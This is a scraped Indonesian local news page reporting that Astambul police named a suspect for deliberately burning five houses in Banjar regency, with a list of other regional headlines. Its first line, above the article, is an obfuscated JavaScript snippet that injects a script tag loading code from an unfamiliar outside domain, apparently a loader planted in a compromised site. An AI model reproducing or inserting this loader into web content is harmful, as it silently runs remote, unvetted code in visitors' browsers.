(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kebakaran di Sungai Aning Disengaja, Polsek Astambul Tetapkan Tersangka


KANALKALIMANTAN.COM, MARTAPURA – Polsek Astambul mengungkap kronologi dibalik peristiwa kebakaran yang menghanguskan lima buah rumah di Jalan A Yani, Sungai Aning RT 01, Desa Danau Salak, Kecamatan Astambul, Kabupaten Banjar, Sabtu (11/2/2023) malam.

Berdarkan keterangan saksi, Kapolsek Astambul Iptu Margito mengungkap, api pertama kali terlihat menyala di dalam sebuah kamar milik korban Ilham (40), yang saat itu ditempati oleh keponakan korban yakni Aat.

Kepolisan mulai melakukan penyelidikan, lantaran didapati fakta bahwa sebelum kejadian Aat terburu-buru meninggalkan rumahnya.

Bahkan sebelum kejadian kebakaran, Aat sempat membeli satu liter BBM jenis Pertalite di warung milik H Jani, warga setempat.

 

Baca juga: Siring Menara Pandang Disiapkan Jadi Lokasi Pasar Wadai Ramadhan 2023 

Aat sempat ditanya oleh penjaga warung setempat mengenai alasan dia membeli BBM tersebut.

“Hingga akhirnya saudara Aat menjawab untuk meratakan rumah kepada penjaga warung, yang kemudian meninggalkan warung dan menuju tempat tinggalnya,” ungkap Kapolsek Astambul, Iptu, Selasa (14/2/2023).

Aat, terduga tersangka pembakar rumah di Sungai Aning. Foto: polsekastambul

Alhasil pihak kepolisian dengan dipimpin Kanit Reskrim Aiptu Kartiko berhasil mengamankan pelaku pembakaran yakni Aat pada Minggu (12/2/2023) bersama barang bukti.

Adapun barang bukti yang disita berupa satu buah tumpukan kain yang sudah hangus terbakar, tiga keping pecahan botol kaca, satu kantong kayu yang sudah hangus terbakar dan satu buah korek gas warna hijau.

Baca juga: Gelaran Pasar Murah DKP3 Banjarbaru, Telur Dijual Hanya Rp 23 Ribu per Kg

Atas kejadian tersebut tersangka Aat dikenakan pasal 187 Subsider Pasal 410 KUHPidana tentang Perbuatan dengan sengaja menimbulkan kebakaran rumah dan atau dengan sengaja dengan melawan hak membinasakan atau tidak dapat digunakan nya lagi sebuah rumah.

“Pelaku pembakaran akan diancam pidana kurungan penjara selama lima tahun,” tuntas Kapolsek Astambul. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

8 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

9 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

10 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

10 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

11 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

11 jam ago

This website uses cookies.